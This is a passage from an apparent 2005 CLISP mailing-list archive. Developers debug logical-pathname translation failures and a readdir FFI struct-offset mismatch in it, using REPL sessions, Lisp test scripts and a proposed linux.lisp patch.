  #P"\\local\\users\\pjb\\src\\lisp\\encours\\bellerophon\\install\\packages\\**\\*")
 (#P"PACKAGES:NET;COMON-LISP;UCW;**;*.*"
  #P"\\local\\users\\pjb\\src\\lisp\\encours\\bellerophon\\ucw-0.3.7\\**\\*.*")
 (#P"PACKAGES:NET;COMON-LISP;UCW;**;*"
  #P"\\local\\users\\pjb\\src\\lisp\\encours\\bellerophon\\ucw-0.3.7\\**\\*"))
[2]> (translate-logical-pathname "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE.LISP")

#P"\\local\\users\\pjb\\src\\lisp\\encours\\bellerophon\\install\\packages\\com\\informatimago\\common-lisp\\package.lisp"
[3]> (lisp-implementation-version)

"2.33.83 (2005-03-14) (built 3322405394) (memory 3323095184)"


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Sam Steingold writes:
> > * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2005-04-22 17:06:18 +0200]:
> > With clisp fetched from cvs yesterday:
> > [12]> (translate-logical-pathname "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE.LISP")
> >
> > *** - TRANSLATE-PATHNAME: replacement pieces
> >        ((:DIRECTORY "com" "informatimago" "common-lisp") "package" "lisp" NIL)
> >       do not fit into
> >        #P"/local/users/pjb/src/lisp/encours/bellerophon/install/packages/**/*.*"

> WFM:
> [2]> (translate-logical-pathname "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE.LISP")
> 
> #P"\\local\\users\\pjb\\src\\lisp\\encours\\bellerophon\\install\\packages\\com\\informatimago\\common-lisp\\package.lisp"
> [3]> (lisp-implementation-version)

I've updated to today CVS, and recompiled (this time 'make check' ran
better, ended as follow), but I still have the same problem.


(echo *.erg | grep '*' >/dev/null) || (echo "Test failed:" ; ls -l *erg; echo "To see which tests failed, type" ; echo "    cat "`pwd`"/*.erg" ; exit 1)
echo "Test passed."
Test passed.
make[1]: Leaving directory `/local/users/pjb/src/lisp/encours/bellerophon/clisp-2.33.83/src/tests'
cd sacla-tests && ../lisp.run -B .. -M ../lispinit.mem -N ../locale  -Efile UTF-8 -Eterminal UTF-8 -norc -i tests.lisp -x '(ext:exit (> (nth-value 1 (run-all-tests)) 0))'
  i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
  I I I I I I I      8     8   8           8     8     o  8    8
  I  \ `+' /  I      8         8           8     8        8    8
   \  `-+-'  /       8         8           8      ooooo   8oooo
    `-__|__-'        8         8           8           8  8
        |            8     o   8           8     o     8  8
  ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
Copyright (c) Bruno Haible, Sam Steingold 1999-2000
Copyright (c) Sam Steingold, Bruno Haible 2001-2005

*** - LOAD: A file with name tests.lisp does not exist
Bye.
make: *** [check-sacla-tests] Error 1



$ export BASE=/home/pjb/src/lisp/encours/bellerophon/install
$ cat init.lisp
(IN-PACKAGE "COM.INFORMATIMAGO.INIT")
;; We only add logical pathname translations. This can be done from any package.
(LET ((BASE
       (MAKE-PATHNAME 
        :DIRECTORY (PATHNAME-DIRECTORY
                    (if (ext:getenv "BASE")
                      (CONCATENATE 'STRING (EXT:GETENV "BASE") "/")
                      *LOAD-PATHNAME*)))))
  (FLET ((MP (SUB) (MERGE-PATHNAMES SUB BASE)))
    ((LAMBDA (&REST SPECS)
       (DOLIST (SPEC SPECS)
         (SETF (LOGICAL-PATHNAME-TRANSLATIONS (FIRST SPEC))
               (NCONC (HANDLER-CASE (LOGICAL-PATHNAME-TRANSLATIONS (FIRST SPEC))
                        (ERROR () NIL))
                      (MAPCAR
                       (LAMBDA (REST)
                         (LIST (CONCATENATE 'STRING (SECOND SPEC) REST)
                               (MP (CONCATENATE 'STRING (THIRD  SPEC) REST))))
                       #-(OR CLISP SBCL) '("*" "*.*" "*.*.*")
                       #+(OR CLISP SBCL) '("*.*" "*")
                       )))))
     '("BELLEROPHON"  "BELLEROPHON:**;"                  "**/")
     '("PACKAGES"     "PACKAGES:**;"                     "install/packages/**/")
     '("PACKAGES"     "PACKAGES:NET;COMON-LISP;UCW;**;"
       "install/packages/net/common-lisp/ucw-0.3.7/**/"))))
(IN-PACKAGE "COMMON-LISP-USER")
(DELETE-PACKAGE "COM.INFORMATIMAGO.INIT")
$ cat lisp.sh
cat lisp.sh
#!/bin/bash
ulimit -s $(( 128 * 1024 ))
base="$(dirname "$0")/install"
# We launch without ~/.clisprc
exec "$base/bin/clisp" \
    -norc -ansi -q -K full -m 32M -I -E ISO-8859-1 -Eterminal UTF-8
$ ./lisp.sh
./lisp.sh
[1]> (load "init.lisp")
;; Loading file init.lisp ...
;; Loaded file init.lisp
T
[2]> (logical-pathname-translations "PACKAGES")
((#P"PACKAGES:**;*.*"
  #P"/home/pjb/src/lisp/encours/bellerophon/install/install/packages/**/*.*")
 (#P"PACKAGES:**;*"
  #P"/home/pjb/src/lisp/encours/bellerophon/install/install/packages/**/*")
 (#P"PACKAGES:NET;COMON-LISP;UCW;**;*.*"
  #P"/home/pjb/src/lisp/encours/bellerophon/install/install/packages/net/common-lisp/ucw-0.3.7/**/*.*")
 (#P"PACKAGES:NET;COMON-LISP;UCW;**;*"
  #P"/home/pjb/src/lisp/encours/bellerophon/install/install/packages/net/common-lisp/ucw-0.3.7/**/*"))
[3]> (translate-logical-pathname "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE.LISP")

*** - TRANSLATE-PATHNAME: replacement pieces
       ((:DIRECTORY "com" "informatimago" "common-lisp") "package" "lisp" NIL)
      do not fit into
       #P"/home/pjb/src/lisp/encours/bellerophon/install/install/packages/**/*.*"

The following restarts are available:
ABORT          :R1      ABORT
Break 1 [4]> (pathname-directory #P"/home/pjb/src/lisp/encours/bellerophon/install/install/packages/**/*.*")
(:ABSOLUTE "home" "pjb" "src" "lisp" "encours" "bellerophon" "install" "install"
 "packages" :WILD-INFERIORS)
Break 1 [4]> (pathname-name #P"/home/pjb/src/lisp/encours/bellerophon/install/install/packages/**/*.*")
:WILD
Break 1 [4]> (pathname-type #P"/home/pjb/src/lisp/encours/bellerophon/install/install/packages/**/*.*")
:WILD
Break 1 [4]> (defun print-bug-report-info ()
  (format t "~2%~{~28A ~S~%~}~2%"
          (list "LISP-IMPLEMENTATION-TYPE"    (lisp-implementation-type)
                "LISP-IMPLEMENTATION-VERSION" (lisp-implementation-version)
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                "SOFTWARE-VERSION"            (software-version)
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Break 1 [4]> (PRINT-BUG-REPORT-INFO)

LISP-IMPLEMENTATION-TYPE     "CLISP"
LISP-IMPLEMENTATION-VERSION  "2.33.83 (2005-03-14) (built 3323179092) (memory 3323180084)"
SOFTWARE-TYPE                
"gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I. -x none libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl    -L/usr/X11R6/lib -lX11
SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY"
SOFTWARE-VERSION             "GNU C 3.3 20030226 (prerelease) (SuSE Linux)"
MACHINE-INSTANCE             "thalassa.informatimago.com [62.93.174.79]"
MACHINE-TYPE                 "I686"
MACHINE-VERSION              "I686"


NIL
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On Tue, 05 Apr 2005, Sam Steingold wrote:
> You must be very very very careful here:
> the sizeof(ino_t), sizeof(off_t) &c &c &c greatly varies from OS to OS.
> (on cygwin it went from 4 to 8 with upgrade from 1.3 to 1.5).
> 
> this is good enough for "explorations", but not for production code.
> for production you need a C module with a configure script which will
> check for sizeof &c.
> 
> BTW, why do you need opendir/readdir?

Because linux:readdir doesn't work (in 2.33.2) (note the empty strings
for d_name).  I assume there's a mismatch between what LINUX is
expecting and the actual dirent I have on my system (?!).

[pjb@thalassa pjb]$ cat print-c-sizes.c
#include <sys/types.h>
#include <dirent.h>
#include <limits.h>
#include <values.h>
#define offset(structure,field)  ((char*)(&structure.field)-(char*)(&structure))
int main(void){
    struct dirent dirent;
    printf("(\n");
    printf(" (:dirent (:ino . %d) (:off . %d) (:reclen . %d) "
           "(:type . %d) (:name . %d))\n",
           offset(dirent,d_ino),
           offset(dirent,d_off),
           offset(dirent,d_reclen),
           offset(dirent,d_type),
           offset(dirent,d_name));
    printf(")\n");
    return(0);}
[pjb@thalassa pjb]$ ./print-c-sizes
 (:dirent (:ino . 0) (:off . 4) (:reclen . 8) (:type . 10) (:name . 11))
$ nm /lib/libc.so.6  |grep 'A GLIBC'
nm /lib/libc.so.6  |grep 'A GLIBC'
00000000 A GLIBC_2.0
00000000 A GLIBC_2.1
00000000 A GLIBC_2.1.1
00000000 A GLIBC_2.1.2
00000000 A GLIBC_2.1.3
00000000 A GLIBC_2.2
00000000 A GLIBC_2.2.1
00000000 A GLIBC_2.2.2
00000000 A GLIBC_2.2.3
00000000 A GLIBC_2.2.4
00000000 A GLIBC_2.2.6
00000000 A GLIBC_2.3
00000000 A GLIBC_2.3.2
00000000 A GLIBC_PRIVATE
[pjb@thalassa pjb]$ uname -a
Linux thalassa 2.4.26 #18 Fri Dec 31 15:47:02 CET 2004 i686 unknown unknown GNU/Linux
[pjb@thalassa pjb]$ /usr/local/bin/clisp -q -ansi -norc -K full

[1]> (defun print-bug-report-info ()
  (format t "~2%~{~28A ~S~%~}~2%"
          (list "LISP-IMPLEMENTATION-TYPE"    (lisp-implementation-type)
                "LISP-IMPLEMENTATION-VERSION" (lisp-implementation-version)
                "SOFTWARE-TYPE"               (software-type)
                "SOFTWARE-VERSION"            (software-version)
                "MACHINE-INSTANCE"            (machine-instance)
                "MACHINE-TYPE"                (machine-type)
                "MACHINE-VERSION"             (machine-version))))
PRINT-BUG-REPORT-INFO
[2]> (PRINT-BUG-REPORT-INFO)


LISP-IMPLEMENTATION-TYPE     "CLISP"
LISP-IMPLEMENTATION-VERSION  "2.33.2 (2004-06-02) (built 3320840961) (memory 3320841245)"
SOFTWARE-TYPE                "ANSI C program"
SOFTWARE-VERSION             "GNU C 3.3 20030226 (prerelease) (SuSE Linux)"
MACHINE-INSTANCE             "thalassa.informatimago.com [62.93.174.79]"
MACHINE-TYPE                 "I686"
MACHINE-VERSION              "I686"


NIL
[3]> (defparameter dir (linux:opendir "/tmp"))
DIR
[4]> (linux:readdir dir)
#S(LINUX:dirent :|d_ino| 947261 :|d_off| 0 :|d_reclen| 12 :|d_type| 0
   :|d_name| "")
[5]> (linux:readdir dir)
#S(LINUX:dirent :|d_ino| 2 :|d_off| 0 :|d_reclen| 24 :|d_type| 0 :|d_name| "")
[6]> (linux:readdir dir)
#S(LINUX:dirent :|d_ino| 947263 :|d_off| 0 :|d_reclen| 44 :|d_type| 0
   :|d_name| "")
[7]> (linux:readdir dir)
#S(LINUX:dirent :|d_ino| 947264 :|d_off| 0 :|d_reclen| 68 :|d_type| 0
   :|d_name| "")
[8]> (linux:readdir dir)
#S(LINUX:dirent :|d_ino| 800509 :|d_off| 0 :|d_reclen| 80 :|d_type| 0
   :|d_name| "")
[9]> (linux:readdir dir)
#S(LINUX:dirent :|d_ino| 947344 :|d_off| 0 :|d_reclen| 92 :|d_type| 0
   :|d_name| "")
[10]> (linux:readdir dir)
#S(LINUX:dirent :|d_ino| 947289 :|d_off| 0 :|d_reclen| 112 :|d_type| 0
   :|d_name| "")
[11]> 


> why isn't DIRECTORY enough?

The purpose of the script is to rename (or copy or create links of)
_items_ in unix directories.  DIRECTORY has at least one big
unfortunate behavior on unix: the standard asks for the TRUENAME of
the items, which is translated in unix to the target name of a
symbolic link.


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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2005-04-22 20:30:08 +0200]:
>
> make[1]: Leaving directory `/local/users/pjb/src/lisp/encours/bellerophon/clisp-2.33.83/src/tests'
> cd sacla-tests && ../lisp.run -B .. -M ../lispinit.mem -N ../locale  -Efile UTF-8 -Eterminal UTF-8 -norc -i tests.lisp -x '(ext:exit (> (nth-value 1 (run-all-tests)) 0))'
>
> *** - LOAD: A file with name tests.lisp does not exist

rm -rf sacla-tests

> $ export BASE=/home/pjb/src/lisp/encours/bellerophon/install
> $ cat init.lisp
> (IN-PACKAGE "COM.INFORMATIMAGO.INIT")

this is not ANSI.
where is this package created?

> [1]> (load "init.lisp")
> ;; Loading file init.lisp ...

** - SYSTEM::%FIND-PACKAGE: There is no package with name "COM.INFORMATIMAGO.INIT"


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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2005-04-22 21:16:57 +0200]:
>
> [pjb@thalassa pjb]$ ./print-c-sizes
>  (:dirent (:ino . 0) (:off . 4) (:reclen . 8) (:type . 10) (:name .
>  11))

that's what linux.lisp says too.

> #S(LINUX:dirent :|d_ino| 947263 :|d_off| 0 :|d_reclen| 44 :|d_type| 0
>    :|d_name| "")

yuk.
how about this?

--- linux.lisp	25 Jan 2005 09:28:42 -0500	1.17
+++ linux.lisp	22 Apr 2005 16:44:23 -0400	
@@ -1847,8 +1847,7 @@
   (d_off off_t)
   (d_reclen ushort)
   (d_type uchar)
-  (d_name (c-array-max character #.(cl:+ NAME_MAX 1)))
-)
+  (d_name c-string))
 
 ;;; ------------------------------ <dirent.h> --------------------------------
 


>> why isn't DIRECTORY enough?
>
> The purpose of the script is to rename (or copy or create links of)
> _items_ in unix directories.  DIRECTORY has at least one big
> unfortunate behavior on unix: the standard asks for the TRUENAME of
> the items, which is translated in unix to the target name of a
> symbolic link.

in CLISP, DIRECTORY :FULL T returnes the original file name too.
<http://clisp.cons.org/impnotes/file-dict.html#dir>
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Date: Fri Apr 22 15:26:51 2005
X-Original-Date: Sat, 23 Apr 2005 00:25:46 +0200

Sam Steingold writes:
> > * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2005-04-22 21:16:57 +0200]:
> >
> > [pjb@thalassa pjb]$ ./print-c-sizes
> >  (:dirent (:ino . 0) (:off . 4) (:reclen . 8) (:type . 10) (:name .
> >  11))
> 
> that's what linux.lisp says too.

That's not what I see:

[54]> (mapcar (lambda (slot)
                (ffi:with-c-var (d 'linux:dirent)
                   (- (ffi:foreign-address-unsigned
                        (ffi:c-var-address (ffi:slot d slot))) 
                      (ffi:foreign-address-unsigned  
                        (ffi:c-var-address d)))))
          '(linux::d_ino linux::d_off linux::d_reclen
            linux::d_type linux::d_name))
(0 4 8 10 12)

Assuming my expression does what I want...
 

> > #S(LINUX:dirent :|d_ino| 947263 :|d_off| 0 :|d_reclen| 44 :|d_type| 0
> >    :|d_name| "")
> 
> yuk.
> how about this?
> 
> --- linux.lisp	25 Jan 2005 09:28:42 -0500	1.17
> +++ linux.lisp	22 Apr 2005 16:44:23 -0400	
> @@ -1847,8 +1847,7 @@
>    (d_off off_t)
>    (d_reclen ushort)
>    (d_type uchar)
> -  (d_name (c-array-max character #.(cl:+ NAME_MAX 1)))
> -)
> +  (d_name c-string))
>  
>  ;;; ------------------------------ <dirent.h> --------------------------------

It's not better:
  
 $ clisp
;; Loading file /home/pjb/.clisprc.lisp ...
[1]> (defparameter dir (linux:opendir "/tmp"))
DIR
[2]> (linux:readdir dir)
#S(LINUX:dirent :|d_ino| 947261 :|d_off| 0 :|d_reclen| 12 :|d_type| 0
   :|d_name| NIL)
[3]> (linux:readdir dir)
#S(LINUX:dirent :|d_ino| 2 :|d_off| 0 :|d_reclen| 24 :|d_type| 0 :|d_name| NIL)
[4]> (linux:readdir dir)
#S(LINUX:dirent :|d_ino| 947263 :|d_off| 0 :|d_reclen| 44 :|d_type| 0
   :|d_name| NIL)
[5]> (linux:readdir dir)
#S(LINUX:dirent :|d_ino| 947264 :|d_off| 0 :|d_reclen| 68 :|d_type| 0
   :|d_name| NIL)
[6]> (linux:readdir dir)
#S(LINUX:dirent :|d_ino| 800509 :|d_off| 0 :|d_reclen| 80 :|d_type| 0
   :|d_name| NIL)


 

> >> why isn't DIRECTORY enough?
> >
> > The purpose of the script is to rename (or copy or create links of)
> > _items_ in unix directories.  DIRECTORY has at least one big
> > unfortunate behavior on unix: the standard asks for the TRUENAME of
> > the items, which is translated in unix to the target name of a
> > symbolic link.
> 
> in CLISP, DIRECTORY :FULL T returnes the original file name too.
> <http://clisp.cons.org/impnotes/file-dict.html#dir>
> WFM in CVS head.

This could help...

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I've released pre-compiled Solaris CLISP packages for x86 and Sparc (32bit). 
Anyone can grab them at http://riemann.solnetworks.net/~dlewis/packages/clisp .

As of yet, I've only thrown the x86 packages up. The Sparc ones are still being
tested and should be available tonight if anyone is intrested. I'll also be sure
to MD5 checksum all the files, and make the them available in an MD5SUMS file.
Be sure to take a look at the README.txt . 

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Unfortunately, I'm having a bit of trouble compiling for Sparc, but I'll have it
up as soon as it passes all the tests. Sorry for the inconvience. 

The X86 package passed all the tests, and I'm actually using it as a dependency
for another piece of software. So, it's OK. 

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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2005-04-23 00:25:46 +0200]:
>
> Sam Steingold writes:
>> > * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2005-04-22 21:16:57 +0200]:
>> >
>> > [pjb@thalassa pjb]$ ./print-c-sizes
>> >  (:dirent (:ino . 0) (:off . 4) (:reclen . 8) (:type . 10) (:name .
>> >  11))
>> 
>> that's what linux.lisp says too.
>
> That's not what I see:
>
> [54]> (mapcar (lambda (slot)
>                 (ffi:with-c-var (d 'linux:dirent)
>                    (- (ffi:foreign-address-unsigned
>                         (ffi:c-var-address (ffi:slot d slot))) 
>                       (ffi:foreign-address-unsigned  
>                         (ffi:c-var-address d)))))
>           '(linux::d_ino linux::d_off linux::d_reclen
>             linux::d_type linux::d_name))
> (0 4 8 10 12)
>
> Assuming my expression does what I want...

this looks like a bug:
(ffi:sizeof 'ffi:uchar)
1 ;
1

so d_name should be offset by 1 byte from d_type, not by 2 bytes as your
code indicates.

Joerg, what do you think?

PS. Pascal, it would be nice to have a test suite for the linux glibc
    bindings, like we already have for regexp, syscalls and some other
    modules. would you like to work on that?


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> * lin8080 <yva8080@serrarm.qr> [2005-04-25 13:54:13 +0200]:
>
> which one points to
> ... \All Users\Start Menu\Programs?
> --------------------------------------
> Programs is none, the language is german, the german-name is Programme.=20
> Searching for Programme many entries were found, no clisp.exe,
> searching for clisp.exe, nothig was found,
> searching for programs nothing was found.
>
> When you want, I can send you the user.dat and system.dat, is a 751.447-
> zipfile, so with regedit.exe you can see.
> ---------------------------------------
> HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/explorer/Shel
> l Folders
>
> (Standart)        (Wert nicht gesetzt)
> Common AppData   C:\windows\All Users\Anwendungsdaten
> Common Desktop   C:\windows\All Users\Desktop
> Common Startup   C:\windows\all Users\Startmen=C3=BC\Programme\Autostart
>
> The folders in "c:\windows\all users" are all empty.

it appears that your system is misconfigured.

> (to make a perfect setup.exe, have a look at WinZip.exe or
> IrfanView.exe.  Both do file-addings to registry and are very quick.)

do you have a patch?

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Date: Mon Apr 25 17:53:38 2005
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Ok, stranger.  When I first set (logical-pathname-translations
"PACKAGE"),  translate-logical-pathname doesn't work, but when I reset
(logical-pathname-translations "PACKAGE") with it's own "self-mangled"
value, it works.  Ie. setting logical-pathname-translations with
pathnames made with MERGE-PATHNAMES makes the bug appear, but setting
it with #P paths doesn't.

------------------------------------------------------------------------
[7]> (setf (logical-pathname-translations "EX")(list (list "EX:**;*.*" (merge-pathnames "**/*.*" "/ex/"))))
((#P"EX:**;*.*" #P"/ex/**/*.*"))
[8]> (translate-logical-pathname "EX:A;B;C")

*** - TRANSLATE-PATHNAME: replacement pieces ((:DIRECTORY "a" "b") "c" NIL NIL)
      do not fit into #P"/ex/**/*.*"
The following restarts are available:
ABORT          :R1      ABORT
Break 1 [9]> :a
[10]> (setf (logical-pathname-translations "EX")(list (list "EX:**;*.*" "/ex/**/*.*")))
((#P"EX:**;*.*" "/ex/**/*.*"))
[11]> (translate-logical-pathname "EX:A;B;C")
#P"/ex/a/b/c"
[12]> (merge-pathnames "**/*.*" "/ex/")
#P"/ex/**/*.*"
[13]> (setf (logical-pathname-translations "EX")(list (list "EX:**;*.*" #P"/ex/**/*.*")))
((#P"EX:**;*.*" #P"/ex/**/*.*"))
[14]> (translate-logical-pathname "EX:A;B;C")
#P"/ex/a/b/c"
[15]> (setf (logical-pathname-translations "EX")(list (list "EX:**;*.*" (merge-pathnames "**/*.*" "/ex/"))))
((#P"EX:**;*.*" #P"/ex/**/*.*"))
[16]> (translate-logical-pathname "EX:A;B;C")

*** - TRANSLATE-PATHNAME: replacement pieces ((:DIRECTORY "a" "b") "c" NIL NIL)
      do not fit into #P"/ex/**/*.*"
The following restarts are available:
ABORT          :R1      ABORT
Break 1 [17]> :a
[18]> (setf (logical-pathname-translations "EX")(list (list "EX:**;*.*" (make-pathname :directory '(:absolute "ex" :wild-inferiors) :name :wild :type :wild))))
((#P"EX:**;*.*" #P"/ex/**/*.*"))
[19]> (translate-logical-pathname "EX:A;B;C")
#P"/ex/a/b/c"
------------------------------------------------------------------------

So the problem seems to lie in MERGE-PATHNAMES in 2.33.83 (it worked in 2.33.2).





------------------------------------------------------------------------
[pjb@thalassa bellerophon]$ $BASE/bin/clisp -norc -ansi -q -K full -m 32M -I -E ISO-8859-1 -Eterminal UTF-8 -x '(load "test.lisp")'
[1]> 
;; Loading file test.lisp ...

LISP-IMPLEMENTATION-TYPE     "CLISP"
LISP-IMPLEMENTATION-VERSION  "2.33.83 (2005-03-14) (built 3323445155) (memory 3323446250)"
SOFTWARE-TYPE                
"gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I. -x none libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl    -L/usr/X11R6/lib -lX11
SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY"
SOFTWARE-VERSION             "GNU C 3.3 20030226 (prerelease) (SuSE Linux)"
MACHINE-INSTANCE             "thalassa.informatimago.com [62.93.174.79]"
MACHINE-TYPE                 "I686"
MACHINE-VERSION              "I686"



(("PACKAGES:**;*.*"
  #P"/home/pjb/src/lisp/encours/bellerophon/install/install/share/lisp/packages/**/*.*")
 ("PACKAGES:**;*"
  #P"/home/pjb/src/lisp/encours/bellerophon/install/install/share/lisp/packages/**/*")) 
((#P"PACKAGES:**;*.*"
  #P"/home/pjb/src/lisp/encours/bellerophon/install/install/share/lisp/packages/**/*.*")
 (#P"PACKAGES:**;*"
  #P"/home/pjb/src/lisp/encours/bellerophon/install/install/share/lisp/packages/**/*")
 ("PACKAGES:NET;COMON-LISP;UCW;**;*.*"
  #P"/home/pjb/src/lisp/encours/bellerophon/install/install/share/lisp/packages/net/common-lisp/ucw-0.3.7/**/*.*")
 ("PACKAGES:NET;COMON-LISP;UCW;**;*"
  #P"/home/pjb/src/lisp/encours/bellerophon/install/install/share/lisp/packages/net/common-lisp/ucw-0.3.7/**/*")) 


(TRANSLATE-PATHNAME "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE"
 "PACKAGES:**;*.*"
 "/local/users/pjb/src/lisp/encours/bellerophon/install/share/lisp/packages/**/*.*")
-->
#P"/local/users/pjb/src/lisp/encours/bellerophon/install/share/lisp/packages/com/informatimago/common-lisp/package" 


(TRANSLATE-LOGICAL-PATHNAME "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE")
-->
TRANSLATE-PATHNAME: replacement pieces ((:DIRECTORY "com" "informatimago" "common-lisp") "package" NIL NIL) do not fit into #P"/home/pjb/src/lisp/encours/bellerophon/install/install/share/lisp/packages/**/*.*"
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; HERE IT DOESN'T WORK.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
NIL 


(EVAL
 (READ-FROM-STRING
  (WRITE-TO-STRING
   `(SETF (LOGICAL-PATHNAME-TRANSLATIONS "PACKAGES")
     ',(LOGICAL-PATHNAME-TRANSLATIONS "PACKAGES")))))
-->
((#P"PACKAGES:**;*.*"
  #P"/home/pjb/src/lisp/encours/bellerophon/install/install/share/lisp/packages/**/*.*")
 (#P"PACKAGES:**;*"
  #P"/home/pjb/src/lisp/encours/bellerophon/install/install/share/lisp/packages/**/*")
 (#P"PACKAGES:NET;COMON-LISP;UCW;**;*.*"
  #P"/home/pjb/src/lisp/encours/bellerophon/install/install/share/lisp/packages/net/common-lisp/ucw-0.3.7/**/*.*")
 (#P"PACKAGES:NET;COMON-LISP;UCW;**;*"
  #P"/home/pjb/src/lisp/encours/bellerophon/install/install/share/lisp/packages/net/common-lisp/ucw-0.3.7/**/*")) 
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; WE RESET TO THE SAME (theorically; logical pathname strings are now #P paths).
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


(TRANSLATE-PATHNAME "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE"
 "PACKAGES:**;*.*"
 "/local/users/pjb/src/lisp/encours/bellerophon/install/share/lisp/packages/**/*.*")
-->
#P"/local/users/pjb/src/lisp/encours/bellerophon/install/share/lisp/packages/com/informatimago/common-lisp/package" 


(TRANSLATE-LOGICAL-PATHNAME "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE")
-->
#P"/home/pjb/src/lisp/encours/bellerophon/install/install/share/lisp/packages/com/informatimago/common-lisp/package" 
;; Loaded file test.lisp
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; NOW IT WORKS!
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

T


[pjb@thalassa bellerophon]$ cat test.lisp
(setf (getenv "BASE") "/home/pjb/src/lisp/encours/bellerophon/install")

(defun print-bug-report-info ()
  (format t "~2%~{~28A ~S~%~}~2%"
          (list "LISP-IMPLEMENTATION-TYPE"    (lisp-implementation-type)
                "LISP-IMPLEMENTATION-VERSION" (lisp-implementation-version)
                "SOFTWARE-TYPE"               (software-type)
                "SOFTWARE-VERSION"            (software-version)
                "MACHINE-INSTANCE"            (machine-instance)
                "MACHINE-TYPE"                (machine-type)
                "MACHINE-VERSION"             (machine-version))))

(print-bug-report-info)

(LET ((BASE
       (MAKE-PATHNAME 
        :DIRECTORY (PATHNAME-DIRECTORY
                    (if (getenv "BASE")
                      (CONCATENATE 'STRING (GETENV "BASE") "/")
                      *LOAD-PATHNAME*)))))
  (FLET ((MP (SUB) (MERGE-PATHNAMES SUB BASE))
         (concat (&rest args) (apply (function concatenate) 'string args)))
    ((LAMBDA (&REST SPECS)
       (DOLIST (SPEC SPECS)
         (SETF (LOGICAL-PATHNAME-TRANSLATIONS (FIRST SPEC))
               (print
               (NCONC
                (HANDLER-CASE (LOGICAL-PATHNAME-TRANSLATIONS (FIRST SPEC))
                  (ERROR () NIL))
                (MAPCAR
                 (LAMBDA (REST)
                   (if (consp rest)
                     (LIST (concat (SECOND SPEC) (first REST))
                           (MP (concat (THIRD  SPEC) (second REST))))
                     (LIST (concat (SECOND SPEC) REST)
                           (MP (concat (THIRD  SPEC) REST)))))
                 #+CLISP           '("*.*"             "*")
                 #+sbcl            '(("*.*.*" "*.*")   "*.*"    "*")
                 #-(OR CLISP sbcl) '("*"               "*.*"    ("*.*.*" "*.*"))
                 ))))))
     '("PACKAGES"     "PACKAGES:**;"
       "install/share/lisp/packages/**/")
     '("PACKAGES"     "PACKAGES:NET;COMON-LISP;UCW;**;"
       "install/share/lisp/packages/net/common-lisp/ucw-0.3.7/**/"))))



(defmacro handling-errors (&body body)
  `(HANDLER-CASE (progn ,@body)
     (simple-condition 
      (ERR) 
      (format *error-output* "~&")
      (apply (function format) *error-output*
             (simple-condition-format-control   err)
             (simple-condition-format-arguments err))
      (format *error-output* "~&"))
     (condition 
      (ERR) 
      (format *error-output* "~&condition: ~S~%" err))))


(defmacro try (&body body)
  `(progn
     (format t "~3%~{~S~%~}-->" ',body)
     (print (handling-errors ,@body))))

(try
 (translate-pathname
  "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE"
  "PACKAGES:**;*.*"
  "/local/users/pjb/src/lisp/encours/bellerophon/install/share/lisp/packages/**/*.*"))

(try
 (translate-logical-pathname "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE"))

(try
 (eval
  (read-from-string
   (write-to-string `(SETF (LOGICAL-PATHNAME-TRANSLATIONS "PACKAGES")
                           (quote ,(LOGICAL-PATHNAME-TRANSLATIONS "PACKAGES")))))))


(try
 (translate-pathname
  "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE"
  "PACKAGES:**;*.*"
  "/local/users/pjb/src/lisp/encours/bellerophon/install/share/lisp/packages/**/*.*"))

(try
 (translate-logical-pathname "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE"))

[pjb@thalassa bellerophon]$ 

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When there's not physical file corresponding to a logical pathname
given to LOAD, LOAD tries to consider the logical pathname as a
physical pathname, appends a "/" (why?) and this gives a misleading
error message:

[2]> (LOAD "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE.LISP")

*** - PARSE-NAMESTRING: syntax error in filename
